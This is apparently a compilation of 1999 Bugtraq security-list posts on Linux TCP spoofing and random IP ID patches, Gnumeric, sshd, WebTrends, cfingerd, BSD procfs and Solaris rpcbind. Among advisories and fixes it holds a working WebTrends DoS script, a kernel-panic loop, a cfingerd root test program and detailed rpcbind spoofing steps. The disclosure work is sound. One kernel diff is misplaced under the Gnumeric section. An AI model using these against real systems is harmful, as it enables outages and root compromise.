0; So, the version of my patch for 2.0.34 didn't need to fix this any more. Of course, future updates of the patch I was making based on the latest one, and never bothered to check for this bug again. Now, after your post, I am looking at patch-2.0.35.gz: - return 0; + return 1; So, the "feature" got re-introduced in 2.0.35. I don't know of the reason for this. I can only guess that the other major TCP changes in 2.0.35 were originally based on a version of the code older than the one in 2.0.34, but only got into 2.0.35. The other guess is, of course, that this change caused problems in 2.0.34, but I doubt it. > Now let's recall another Linux feature. Many OSes (including Linux) > assign to ID field of an outgoing IP datagram consecutive, increasing > numbers (we forget about fragmentation here; irrelevant in this case). That Somehow I didn't think of this at the time (was before this ID stuff got to BugTraq), so I tried playing with packet count obtained from the router via SNMP. Never got my exploit reliable enough, though. > At the end of this post I enclosed an exploit; don't use it without > the permission of the target host's admin. I tested it on 2.0.37, 36 and 30; > probably all 2.0.x are affected. It requires libnet (which can be downloaded Except for 2.0.34 and 2.0.33 with my patch, I believe. I would appreciate it if you could test the exploit on any of those, so that I could put the fix back into my patch for 2.0.37. Signed, Solar Designer ________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : réponse (2/7): ________________________________________________________________________________________________________ > So, the version of my patch for 2.0.34 didn't need to fix this any > more. Of course, future updates of the patch I was making based on > the latest one, and never bothered to check for this bug again. > > Now, after your post, I am looking at patch-2.0.35.gz: > > - return 0; > + return 1; > > So, the "feature" got re-introduced in 2.0.35. I don't know of the > reason for this. I can only guess that the other major TCP changes It was put back into 2.0.35 because the "fix" caused interoperability problems with many other stacks. Alan _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : réponse (3/7) : _________________________________________________________________________________________________________ On Sun, Aug 01, 1999 at 01:10:06AM +0200, Nergal wrote: > Now let's recall another Linux feature. Many OSes (including Linux) > assign to ID field of an outgoing IP datagram consecutive, increasing > numbers (we forget about fragmentation here; irrelevant in this case). That > enables anyone to determine the number of packets sent by host A: it's enough > to ping it, note the value of ID field of received ICMP_REPLY packet, wait x > seconds (or perform some other actions), then again ping host A. The > difference between ID fields of received ICMP_REPLY packets is equal to (the > number of packets sent by A in x second) +1. "Idle portscan" by antirez uses > this technique. Re, i think that a consecutive IP id now can be considered a weakness in IP stacks. Using it you today are able at least to scan spoofed, to guess host traffic and you can use it when you need to know if the target host of your spoofed packet answered. Here is a patch for linux 2.0.36, maybe it isn't SMP safe so don't use it if your linux box have more than one CPU. Note: the name of this patch are 'True random id', however this isn't true, a better name is 'Truly random id'. There are a lot of 'better possible patchs' to fix this problem, but this patch is old and writed in 30 min. so i'm interested in your comment about how to implement a better patch. bye, antirez -- Salvatore Sanfilippo antirez@speedcom.it antirez@alicomitalia.it ALICOM snc Tel: +39-0871-403522 Fax: +39-0871-41960 Web: www.alicom.com try hping: http://www.kyuzz.org/antirez FreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBarald _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : réponse (4/7) : _________________________________________________________________________________________________________ > On Sun, Aug 01, 1999 at 01:10:06AM +0200, Nergal wrote: > > Now let's recall another Linux feature. Many OSes (including Linux) > > assign to ID field of an outgoing IP datagram consecutive, increasing > > numbers (we forget about fragmentation here; irrelevant in this case). That > > enables anyone to determine the number of packets sent by host A: it's enough > > to ping it, note the value of ID field of received ICMP_REPLY packet, wait x > > seconds (or perform some other actions), then again ping host A. The > > difference between ID fields of received ICMP_REPLY packets is equal to (the > > number of packets sent by A in x second) +1. "Idle portscan" by antirez uses > > this technique. > > Re, > > i think that a consecutive IP id now can be considered > a weakness in IP stacks. Using it you today are able > at least to scan spoofed, to guess host traffic and > you can use it when you need to know if the target host > of your spoofed packet answered. Here is a patch for > linux 2.0.36, maybe it isn't SMP safe so don't use it > if your linux box have more than one CPU. Note: the name > of this patch are 'True random id', however this isn't > true, a better name is 'Truly random id'. There are > a lot of 'better possible patchs' to fix this problem, but > this patch is old and writed in 30 min. so i'm interested > in your comment about how to implement a better patch. Without having done an analysis of the pseudo-random number generator in the Linux patch provided, I have a few comments to make. This situation is very similar to the resolver problem. For a reminder about the resolver issue we were solving, see http://www.openbsd.org/advisories/res_random Wow. April 22, 1997. That's before OpenBSD 2.1 was released, you know, the release that was almost impossible to install from CD... OpenBSD 2.5 solves this by using the same non-repeating random number generator that we used to solve the resolver problem. The same code simply gets moved into the kernel. Basically, you do not want to make that field random using a stock random number generator, as close repeats (same number repeated in close proximity to a previous occurance) can cause grotesque errors in fragment reassembly at the destination. The existing method of using ip_id++, avoids such problems .... as well as they can be avoided in a 16-bit identifier space. If you don't believe me, heck, just set the ip_id to 31337 each time and see how well IP de-fragmentation suddenly works.. Hence, what you really want is a pseudo random number generator which is fairly strong (in a 16 bit space, hah), but cleverly avoids re-using the same number in close proximity... I believe that this would solve your problem best. For more details, see: http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_id.c?rev=1.1 In our case, this is called in the following places... netinet/ip_ip4.c: ipo->ip_id = ip_randomid(); netinet/ip_mroute.c: ip_copy->ip_id = ip_randomid(); netinet/ip_output.c: ip->ip_id = ip_randomid(); netinet/raw_ip.c: ip->ip_id = ip_randomid(); netinet6/ipv6_trans.c: ip->ip_id = ip_randomid(); Enjoy. _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : Réponse (5/7) : _________________________________________________________________________________________________________ > > It was put back into 2.0.35 because the "fix" caused interoperability > problems with many other stacks. I've discussed those interoperability problems with Alan (thanks!), and have now updated my 2.0.37 patch to include a fix that shouldn't cause them any more: http://www.false.com/security/linux/ I must also thank Nergal for testing the patch. Signed, Solar Designer _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : Réponse (6/7): _________________________________________________________________________________________________________ In article <19990806123911.A1147@speedcom.it>, Salvatore Sanfilippo -antirez- wrote: > i think that a consecutive IP id now can be considered > a weakness in IP stacks. [...] Here is a patch for > linux 2.0.36 [...] 'Truly random id' [...] Your patch isn't secure. It uses a weak pseudo-random number generator to generate id's, and an attacker can just crack the PRNG to predict what id's will be used in the future. I think you probably want to use /dev/urandom to generate your IP id's, to prevent this attack. (Or use a variant of Bellovin's RFC 1948, adapted to generate IP id's instead of TCP ISN's.) _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others : Réponse (7/7): _________________________________________________________________________________________________________ A secure patch is work in progress thanks to precious advices from Solar Designer and Theo de Raadt. I'll send this patch to bugtraq when done. Please, if you are some good links about how to is possible to compute N for 'X^2 mod N' generator in real-time or links about others hard to predict RNG send me an email. antirez On Sat, Aug 07, 1999 at 09:58:10AM -0700, David Wagner wrote: > In article <19990806123911.A1147@speedcom.it>, > Salvatore Sanfilippo -antirez- wrote: > > i think that a consecutive IP id now can be considered > > a weakness in IP stacks. [...] Here is a patch for > > linux 2.0.36 [...] 'Truly random id' [...] > > Your patch isn't secure. It uses a weak pseudo-random number > generator to generate id's, and an attacker can just crack the > PRNG to predict what id's will be used in the future. > > I think you probably want to use /dev/urandom to generate your > IP id's, to prevent this attack. (Or use a variant of Bellovin's > RFC 1948, adapted to generate IP id's instead of TCP ISN's.) -- Salvatore Sanfilippo antirez@speedcom.it antirez@alicomitalia.it ALICOM snc Tel: +39-0871-403522 Fax: +39-0871-41960 Web: www.alicom.com try hping: http://www.kyuzz.org/antirez FreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBarald ======================================================= 1.9-:Linux blind TCP spoofing, act II + others (End): ________________________________________________________________________________________________________ _______________________________________________________________________________________________________ 1.10-:Gnumeric potential security hole.(begin): =============================================== The Gnumeric spreadsheet contains a number of "plugins". Some of these plugins allow users to define functions in Perl, Python and Guile and export those to the Gnumeric engine. The Guile plugin was exporting a dangerous function that allowed any user to execute arbitrary scheme code. Which means that a gnumeric spredsheet file might have contained malicious code and it would have been executed when Gnumeric evaluates the contents of the cell. To fix this you can either: 1. Upgrade your Gnumeric to a new version of it. 2. You can remove the libgnumguile plugin from the system. best wishes, Miguel diff -cr linux-2.0.36/Documentation/Configure.help linux-2.0.36-hack/Documentation/Configure.help *** linux-2.0.36/Documentation/Configure.help Sun Nov 15 19:32:42 1998 --- linux-2.0.36-hack/Documentation/Configure.help Sun Dec 27 15:48:18 1998 *************** *** 1336,1341 **** --- 1336,1349 ---- hence it is recommended that you say Y here unless you really know what you're doing. + IP: True random id + CONFIG_ID_RAND + This supplies true random ip id field in order to prevent id abuse + in port scanning and in outgoing packets traffic guessing. + See http://www.geek-girl.com/bugtraq/1998_4/0609.html for more + informations on this topic. + Warning: 256 Kbytes needed. + IP: Allow large windows (not recommend if <16MB of memory) CONFIG_SKB_LARGE On high speed, long distance networks the performance limit on diff -cr linux-2.0.36/net/ipv4/Config.in linux-2.0.36-hack/net/ipv4/Config.in *** linux-2.0.36/net/ipv4/Config.in Thu Jun 4 00:17:50 1998 --- linux-2.0.36-hack/net/ipv4/Config.in Sun Dec 27 15:01:53 1998 *************** *** 47,50 **** --- 47,51 ---- bool 'IP: Disable Path MTU Discovery (normally enabled)' CONFIG_NO_PATH_MTU_DISCOVERY #bool 'IP: Disable NAGLE algorithm (normally enabled)' CONFIG_TCP_NAGLE_OFF bool 'IP: Drop source routed frames' CONFIG_IP_NOSR + bool 'IP: True random id' CONFIG_ID_RAND bool 'IP: Allow large windows (not recommended if <16Mb of memory)' CONFIG_SKB_LARGE diff -cr linux-2.0.36/net/ipv4/ip_forward.c linux-2.0.36-hack/net/ipv4/ip_forward.c *** linux-2.0.36/net/ipv4/ip_forward.c Thu Jun 4 00:17:50 1998 --- linux-2.0.36-hack/net/ipv4/ip_forward.c Sat Dec 26 21:47:15 1998 *************** *** 77,83 **** --- 77,87 ---- iph->protocol = IPPROTO_IPIP; iph->ihl = 5; iph->tot_len = htons(skb->len + len); /* Anand, ernet */ + #ifdef CONFIG_ID_RAND + iph->id = htons(getrandid()); + #else iph->id = htons(ip_id_count++); + #endif ip_send_check(iph); skb->dev = out; diff -cr linux-2.0.36/net/ipv4/ip_output.c linux-2.0.36-hack/net/ipv4/ip_output.c *** linux-2.0.36/net/ipv4/ip_output.c Thu Jun 4 00:17:50 1998 --- linux-2.0.36-hack/net/ipv4/ip_output.c Sun Dec 27 15:44:05 1998 *************** *** 30,35 **** --- 30,36 ---- * Juan Jose Ciarlante: sk/skb source address rewriting * Elena Apolinario Fdez de Sousa,:ipmr_forward never received multicast * Juan-Mariano de Goyeneche traffic generated locally. + * Salvatore Sanfilippo : IP id random. */ #include *************** *** 265,271 **** --- 266,276 ---- return mac; } + #ifdef CONFIG_ID_RAND + unsigned short getrandid(void); + #else int ip_id_count = 0; + #endif /* * This routine builds the appropriate hardware/IP headers for *************** *** 483,489 **** --- 488,498 ---- add_to_send_queue(sk, skb); /* fall through */ case 1: + #ifdef CONFIG_ID_RAND + iph->id = htons(getrandid()); + #else iph->id = htons(ip_id_count++); + #endif } skb->free = free; *************** *** 751,757 **** --- 760,770 ---- iph->ihl=5; iph->tos=sk->ip_tos; iph->tot_len = htons(length); + #ifdef CONFIG_ID_RAND + iph->id=htons(getrandid()); + #else iph->id=htons(ip_id_count++); + #endif iph->frag_off = 0; iph->ttl=sk->ip_ttl; iph->protocol=type; *************** *** 853,860 **** /* * Get an identifier */ ! id = htons(ip_id_count++); /* * Being outputting the bytes. --- 866,877 ---- /* * Get an identifier */ ! ! #ifdef CONFIG_ID_RAND ! id = htons(getrandid()); ! #else id = htons(ip_id_count++); + #endif /* * Being outputting the bytes. *************** *** 1209,1211 **** --- 1226,1304 ---- #endif } + #ifdef CONFIG_ID_RAND + unsigned int random(void) + { + static unsigned long seed=152L; + seed=seed*69069L+1; + return seed^jiffies; + } + + #define BIT 16 + #define M (1 << BIT) + #define N ((1 << BIT) - 1) + #define RANDOM (random() & N) + + void swap(unsigned short *a, unsigned short *b) + { + unsigned short t; + t = *a; + *a = *b; + *b = t; + } + + unsigned short getrandid(void) + { + static unsigned short vect1[M]; + static unsigned short vect2[M]; + static int status = 0; + static int c = 0; + + if (status == 1) + { + if (c == N) + status = 2; + + swap(&vect2[c], &vect2[RANDOM]); + c++; c&=N; + return vect1[c]; + } + + if (status == 2) + { + if (c == N) + status = 1; + + swap(&vect1[c], &vect1[RANDOM]); + c++; c&=N; + return vect2[c]; + } + + if (status == 0) /* initial shuffling */ + { + register int j; + + for (j = 0; j < M; j++) + vect2[j] = vect1[j] = j; + + for (j = 0; j < M; j++) + swap(&vect1[j], &vect1[RANDOM]); + + status = 1; + printk(KERN_INFO "IP id true rand: initial shuffling completed\n"); + } + + if (status == 1) + { + if (c == N) + status = 2; + + swap(&vect2[c], &vect2[RANDOM]); + c++; c&=N; + return vect1[c]; + } + + printk(KERN_WARNING "Warning, getrandid() status = %d\n", status); + return RANDOM; + } + #endif /* CONFIG_ID_RAND */ diff -cr linux-2.0.36/net/ipv4/raw.c linux-2.0.36-hack/net/ipv4/raw.c *** linux-2.0.36/net/ipv4/raw.c Thu Jun 4 00:17:50 1998 --- linux-2.0.36-hack/net/ipv4/raw.c Sat Dec 26 21:56:37 1998 *************** *** 308,314 **** --- 308,318 ---- * ip_build_xmit clean (well less messy). */ if (!iph->id) + #ifdef CONFIG_ID_RAND + iph->id = htons(getrandid()); + #else iph->id = htons(ip_id_count++); + #endif iph->check=ip_fast_csum((unsigned char *)iph, iph->ihl); } } diff -cr linux-2.0.36/net/ipv4/tcp_output.c linux-2.0.36-hack/net/ipv4/tcp_output.c *** linux-2.0.36/net/ipv4/tcp_output.c Sun Nov 15 19:33:22 1998 --- linux-2.0.36-hack/net/ipv4/tcp_output.c Sat Dec 26 21:46:20 1998 *************** *** 523,529 **** --- 523,534 ---- skb->localroute, sk->bound_device); } + #ifdef CONFIG_ID_RAND + iph->id = htons(getrandid()); + #else iph->id = htons(ip_id_count++); + #endif + #ifndef CONFIG_NO_PATH_MTU_DISCOVERY if (rt && ntohs(iph->tot_len) > rt->rt_mtu) iph->frag_off &= ~htons(IP_DF); diff -cr linux-2.0.36/net/netsyms.c linux-2.0.36-hack/net/netsyms.c *** linux-2.0.36/net/netsyms.c Mon Jul 13 22:47:41 1998 --- linux-2.0.36-hack/net/netsyms.c Sat Dec 26 21:53:33 1998 *************** *** 107,113 **** --- 107,115 ---- X(ip_rt_put), X(arp_send), X(arp_bind_cache), + #ifndef CONFIG_ID_RAND X(ip_id_count), + #endif X(ip_send_check), X(ip_forward), X(sysctl_ip_forward), ============================================ 1.10-:Gnumeric potential security hole.(End) _______________________________________________________________________________________________________ _______________________________________________________________________________________________________ 1.11-:Paranoid? Running SSHD as normal users. (begin): ====================================================== This could be good.. But this could be bad. Running on a system with out the shadow password suite, then this would work very easily, running on a machine with a shadow password suite, it would atleast require the shadow file to be group writeable to the GID you run the program as. Which in most cases, shadow passwords are never readable to a regular users group, otherwise what is the point of the shadow suite? I personally am using this to my advantage, and wouldn't call it a bug, but figured I would let you all, who may not have thought about this know. If a non-priv'd user were to download the ssh source to their directory, compile it with something like: ./configure --prefix=PREFIX=/home/user/ssh --sysconfdir=/home/user/ssh/etc/ That will configure ssh to put the bins and sbins in ~/ssh, and to put all files that would be in /etc/ into /home/user/ssh/etc/ You can then run make and make install, which will generate your ssh_host_key and all related files. The user would then need to edit the sshd_config, and change the port to > 1024 (i chose 2222), make sure its "use login no", unless login is suid.. If login is suid, (i don't see why it would be, and it shouldn't be), then /etc/shadow wouldn't need to be readable. And then change the runpid to a writable directory to the user "~/ssh/var/". I chose to do RSA authentication, so I used ssh-keygen to create a key on the box side, and then put my identity.pub from my client, into ~/.ssh/authorized_keys, run your newly compiled sshd ~/ssh-1.2.27/sshd, and it should read the correct config files, and launch ssh as 'user' on port 2222. You can then ssh to it, with just your RSA password (if you used a password). The good: If SSH had a remote BO, the only thing compromised is anything in the group that /etc/shadow was r+w by. The Bad: The user is not put into wtmp/utmp files.. and if they defined their own sys files, or modified it in the ssh source, to not do syslogging, then you wouldn't see any information about it in syslog either. Which of course would make tracking users a little harder, unless you have something that records processes, which is usually pretty processor intensive. Without the marks of the utmp/wtmp you will of course not see them in a 'w' or a 'who', and you will not gain control of your tty either: /dev/ttyp2: Operation not permitted [server]-[user] ~* user 15859 0.1 0.4 2184 784 p2 S 16:21 0:00 -bash crw-rw-rw- 1 root root 3, 2 Aug 4 16:21 /dev/ttyp2 You will also note the following error in log going along with the above problems with allocating a tty: Aug 4 16:21:42 server sshd[15857]: debug: Allocating pty. Aug 4 16:21:42 server sshd[15857]: debug: Ignoring unsupported tty mode opcode 11 (0xb) Aug 4 16:21:42 server sshd[15857]: debug: Forking shell. Aug 4 16:21:42 server sshd[15857]: debug: Entering interactive session. If a user tries to do this without /etc/shadow being readable to them, or their group, you will notice in your debug log: Aug 4 16:21:29 server sshd[15855]: debug: Can't find user's shadow - access denied. (unless of course, they made it so it doesn't log to syslog) Sorry for the length, just thought I'd pass it on, for those who hadn't already thought of this. Erik Parker eparker@mindsec.com _________________________________________________________________________________________________________ 1.11-:Paranoid? Running SSHD as normal users ; réponse (1/1) _________________________________________________________________________________________________________ pc@cyclotron.bombshelter.net pointed out to me: > This could be good.. But this could be bad. Running on a system with out > the shadow password suite, then this would work very easily, > running on a machine with a shadow password suite, it would atleast > require the shadow file to be group writeable to the GID you run > the program as. Which in most cases, shadow passwords are never readable > to a regular users group, otherwise what is the point of the shadow suite? require the shadow file to be group READABLE.. Which again, it never should be group readable to average users. However a lot of machines have a group readable program, for programs like xlock, and other ones that don't need to run as root, but do need to read that file. > The good: If SSH had a remote BO, the only thing compromised is anything > in the group that /etc/shadow was r+w by. And another mistake, obviously, if the shadow file is r+w to the person who compromised it, they own the entire box. I don't know how I overlooked that statement. I meant g+r, so its group readable.. And as Alan cox pointed out.. It might mean more trouble for the user logged in that way, if it was being used in a legitimate way.. Because whoever owned the tty they are sitting on, could easily write to their term. Erik Parker =================================================== 1.11-:Paranoid? Running SSHD as normal users. (End) _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.12 Remote DoS of WebTrends Enterprise Reporting Server (begin): ================================================================= Hi, WebTrends Enterprise Reporting Server version 1.5 (Linux/Solaris) is vulnerable to a denial of service attack utilizing the Content-length field passed to the HTTP daemon. If a negative Content-length is passed to the daemon after a POST method has been called, the server will stop responding. WebTrends has been notified and a patch is supposedly in the works. Attached is an example script to demonstrate the problem. Version: 1.5 (1.5a has not been tested) OS: Linux 2.2.x and Solaris (v?) License: Full Thanks, rpc #!/usr/bin/perl -w # Example DoS against WebTrends Enterprise Reporting Server # 8/8/99 # rpc use IO::Socket; die "usage: $0 " unless (@ARGV == 2); ($host, $port) = @ARGV; $s = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp') or die "Can't create socket."; print $s "POST /\r\n"; print $s "Content-type: text/plain\r\n"; print $s "Content-length: -1", "\r\n"x5; print "done.\n"; _________________________________________________________________________________________________________ 1.12 Remote DoS of WebTrends Enterprise Reporting Server : reponse (1/1) : _________________________________________________________________________________________________________ Hi there, At 1:55 +0200 10-08-1999, Simon Coggins wrote: >I'm sure your all on the list but just incase. > >----- Original Message ----- >From: >> qident does not check sucessfully for spaces and characters >> as like *, ! and @. >> >> When using an ident as like "@o ! ! !", o would be treated as >> host, the parameters which are left, would be enhanced by the number of >> spaces provided by the ident. thanks for the report, no I am not on bugtraq, I rely on people in there contacting us to forward what's relevant ;) As reported I don't think this problem exists on undernet's codebase, since version .02 or such the reply of ident is strongly checked and allows a very restricted set of chars, dropping off (either by replacing them with _ or by forcing them to terminate the userid) basically any non plain ascii char and any char that has a special meaning to the irc protocol. Should something have slipped out of the checks.. jst report it to me and will be fixed on the fly, as of now I think that Undernet's ircu is safe from this kind of exploit. Regards, Andrea aka Nemesi Undernet's coders committee. [P.S.: Why there are on bugtraq 50 persons unable to tell their "vacation" message to not be sent to the posters of the mailing lists ? Lameness....] =============================================================== 1.12 Remote DoS of WebTrends Enterprise Reporting Server (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.13-:Severe bug in cfingerd before 1.4.0 (begin) ================================================= Bugtraq Security Advisory ========================= A serious bug in cfingerd before version 1.4.0 has been reported. It is present in all versions of cfingerd from 1.2.0 up to any version of 1.3.2. If configured accordingly this bug enables any local user to execute random programs with root priviledges. Although I haven't been quite verbose with development of cfingerd, Ken Hollis (the original author) has handed maintainership over to me a while ago. I did some development and fixed some security related bugs, but never made an official release. This is done now. Affected systems ---------------- All systems running a version of cfingerd beginning with version 1.2.0 and before version 1.4.0 are affected. You are safe if you have disabled ALLOW_EXECUTION in your cfingerd.conf file in section "internal_config", i.e. that file contains a line "-ALLOW_EXECUTION". This is the default configuration of this package. If you use the default cfingerd.conf file as shipped with the distribution you are safe. You should still upgrade. Recommended action ------------------ 1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file. 2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found at the primary site ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or ftp://metalab.unc.edu/pub/Linux/system/network/finger/ . Exploit ------- The exploit is quite simple. Thanks go to Tadek Knapik who has informed me. You need to add $exec /tmp/relinq to your ~/.plan file. Then compile the following relinq.c file in /tmp: #include void main() { printf("Root exploit test\n"); setregid(0, 0); setreuid(0, 0); printf("User: %d, group: %d.\n", getuid(), getgid()); } Checksum -------- File: ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz MD5sum: dcc25e89ba1dad6497365429b1db2909 Regards, Joey -- Experience is something you don't get until just after you need it. ================================================= 1.13-:Severe bug in cfingerd before 1.4.0 (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.14-:serious problem in netbsd/openbsd procfs/fdesc (begin) : ============================================================== Greetings. I have found a nasty bug in the fdesc and procfs filesystems included with NetBSD and OpenBSD. Any user with access to a mounted procfs/fdesc filesystem has the ability to cause a kernel panic. The problem is that the readdir vnodeop for both procfs and fdesc blindly uses the value of element uio_index of the struct uio (passed in by VOP_READDIR()) as an index into an array, without first properly checking its size. sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open file's f_offset, which is modified by lseek (among other things). Here's an illustration, taken from procfs_readdir() in OpenBSD's procfs_vnops.c: if (uio->uio_resid < UIO_MX) return (EINVAL); if (uio->uio_offset < 0) return (EINVAL); error = 0; i = uio->uio_offset; [...] for (pt = &proc_targets[i]; uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) { if (pt->pt_valid && (*pt->pt_valid)(p) == 0) continue; One way for a user to take advantage of this problem is as follows: a user opens either a process-specific subdirectory (in the case of procfs) or the root directory (in the case of fdesc). The user then sets the file offset to an unreasonably large (positive) number with lseek(). The user then calls getdirentries(). A temporary solution is to unmount all instances of procfs and fdesc. This is not likely to detrimentally affect anything. Here's example code that tries getdirentries() calls on directories after lseek()ing to high offsets. (warning: if your system is vulnerable, this is very likely to cause a kernel panic) --- cut here --- #include #include #include #include #include #include #include main(int argc, char *argv[]) { int dirfd; unsigned long basep; unsigned long hmm; char buf[2048]; if(argc < 2) { fprintf(stderr, "usage: %s directory\n", argv[0]); exit(1); } if((dirfd = open(argv[1], O_RDONLY)) == -1) { perror("open"); exit(1); } for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) { if(lseek(dirfd, hmm, SEEK_SET) == -1) { perror("lseek"); exit(1); } /* address won't effectively change, but index variable used as a test * will be very large; kernel's loop should continue and break * something */ if(getdirentries(dirfd, buf, 2048, &basep) == -1) { perror("getdirentries"); exit(1); } } exit(0); } --- cut here --- This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD 1.3.2. Both NetBSD and OpenBSD have been contacted about this. This has been fixed in the current OpenBSD tree and should soon be able from your nearest anoncvs server. Thanks to deraadt@openbsd.org for a quick response. -- ============================================================ 1.14-:serious problem in netbsd/openbsd procfs/fdesc (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.15-:Solaris rpcbind tricks (begin): ===================================== While this is hardly a new bug and the dangers of not having proper anti-spoofing checks in your perimeter router/firewall has been discussed over and over in the past years I believe it might be worth a post to bugtraq. The following can be taken as an example of how a combination of bugs, protocol flaws and bad coding practices can bring to life new incarnations of ancient security problems. This was discussed months ago with Oliver Friederichs and Theo de Raadt over considerable amounts of beer, since then i didnt have time to investigate further till last week. Sebastian R. Wain provided a lot of his time testing and figuring out the detailst. -- Bypassing restrictions for the PMAPPROC_CALLIT procedure in rpcbind ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Altho. rpcbind/portmap explicitly restricts which programs can be contacted using PMAPPROC_CALLIT there is a way to bypass these restrictions in Solaris Upon startup Solaris' rpcbind opens a socket that will be used to service PMAPPROC_CALLIT requests, this is refered as the 'Non Standard Port' in the NAI-0015: Solaris rpcbind weaknesses advisory. and Sun's Security Bulleting #142. The advisory makes clear that older rpcbind programs also allowed and serviced incoming RPC calls on that port. This is no longer the case, but the port is used to send outgoing RPC calls that correspond to RPC PMAPPROC_CALLIT requests received on the standard rpcbind port (111/udp and tcp). For that purpose rpcbind allocates an internal table that maps the received CALLIT requests to the requests forwarded by rpcbind to service those requests. This mapping is done by matching the RPC XIDs of both the received and forwarded calls. The XIDS generated for the forwarded calls can be guessed since they are not entirely random. The source port of the forwarded calls does not vary between different PMAPPROC_CALLIT calls. Provided that one can inject spoofed packets on the network that is running the RPC services it is possible to communicate with ANY RPC service AND obtain RPC replies using PMAP_CALLIT. As an example, lets describe how one could still grab file handles out of mountd: Assuming that attacked.host.com is exporting a filesystem and allows bouncing.host.com to mount it, attacking.host.com is able to mount it following these steps: 1. Attacker sends a spoofed PMAPPROC_SET call to register a service named "bogusd" on the any available port on localhost. src addr : 127.0.0.1 dst addr : bouncing.host.com dst port : 111 program : rpcbind procedure: PMAPPROC_SET data : BOGUSPROG,BOGUSVERS,BOGUS_PORT,etc 2. Attacker sends NON-spoofed calls to PMAPPROC_CALLIT asking to call bogusd procedure FOO. src addr : attacking.host.com dst addr : bouncing.host.com dst port : 111 program : rpcbind procedure: PMAPPROC_CALLIT data : BOGUSPROG,BOGUSVERS,BOGUS_PROCFOO,etc 3. Attacker sends a set of spoofed replies to the port that rpcbind uses for forwarding of RPC calls. Each reply in this set has a different XID choosen from a given range. For each spoofed reply: src addr : 127.0.0.1 src port : BOGUS_PORT dst addr : bouncing.host.com dst port : rpcbind_forwarding_port (usually around 32500 ) XID : xid_i ( 0 < i < I ; xid_0 is calculated using information about the bouncing.host.com's uptime) 4. Attacker waits for a RPC reply to one of his CALLIT calls to bogusd, procedure BOGUS_NULL. The attacker will receive a reply when one of the spoofed replies sent in (3) had a matching XID. The attacker has guessed the XID that rpcbind used (XID_j / i < j < I) and can predict the next one (we call it XID_j+1) 5. attacker sends rpcbind a NON-spoofed CALLIT call to BOGUSPROG src addr : attacking.host.com dst addr : bouncing.host.com program : rpcbind procedure: PMAPPROC_CALLIT data : BOGUSPROG,BOGUSVERS,BOGUS_PROCFOO,etc This will generate a RPC call from rpcbind on the bouncing host to BOGUS_PROGRAMNUM on the bouncing host as follows: src addr : bouncing.host.com src port : rpcbind_forwarding_port dst addr : bouncing.host.com dst port : BOGUS_PORT program : BOGUSPROG procedure: BOGUS_PROCFOO XID : xid_j+1 6. attacker sends a spoofed call to mountd's RPCMNT_MOUNT procedure with : src addr : bouncing.host.com src port : rpcbind_forwarding_port dst addr : attacked.host.com dst port : MOUNTD_PORT program : MOUNTPROG procedure: MOUNT_PROCMNT XID : xid_j+1 7. mountd on the attacked host replies to this request with the proper filehandle, rpcbind will get the reply, match it to a previous CALLIT request, and pass it back to the caller. The attacker has just grabbed a filehandle, bypassing the restrictions imposed in rpcbind for CALLIT calls. Its important to notice that altho the attacker is spoofing she does receive the responses from the service being attacked, this is done by the kind vulnerable rpcbind on the bouncing host. This is possible because: 1. XIDs of the forwarded calls are predictable Assuming that our RPC calls to rpcbind, PROC_CALLIT are the first CALLIT requests received by the bouncing host since it was booted (this is a fair assumption) and knowning or being able to aproximate the uptime of the target host, the XIDs that rpcbind will generate for the forwarded requests can be easily predicted. 2. Theres no check for the src address and port of the replies to forwarded calls to match the dst address and port of the original call. rpcbind does not check that RPC reply messages, received on the socket used to forward CALLIT requests, have a valid source address, port, prognum, progvers, etc. Given this, the exploit can be used to 'bounce' mount requests off any Solaris host allowed to mount a NFS file system local or remote. However, in order to succeed, the target mountd must allow mount requests from unpriviledged ports. This same scheme can be used to comunicate with any RPC service Altho. no exploit code is provided, i believe the detailed explanation of the steps to follow is more than enough to code your own testing program. Keep in mind that this arises from several trivialy fixed problems: . DO NOT allow spoofed packets into your network . allowing connections to rpcbind from external addresses is not a good idea. . mount requests from unpriviledged ports are not a good idea . Exposing server information that by itself can be deemed inocuos can help attackers in their efforts, in this case, exposing the uptime of your Solaris box is... not a good idea.. who would have thought eh? As for localnet... well, no one has to go thru all this if you have access to the local net and can sniff and spoof NFS packets... -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce -------------------------------------------------------------------------------------------- Iván Arce Presidente CORE SDI S.A. Pte. Juan D. Peron 315 4to UF17 (1394) Buenos Aires, Argentina. TE/FAX: +54-11-43-31-54-02 +54-11-43-31-54-09 PGP fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A -------------------------------------------------------------------------------------------- ==================================== 1.15-:Solaris rpcbind tricks (End) : ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 1.16-:local libtermcap exploit (begin): ======================================= Well, I wrote this a little while back. This is a serious bug, so people should be able to test their systems properly. All admins should definitely upgrade to the newest libtermcap. - sk8 of 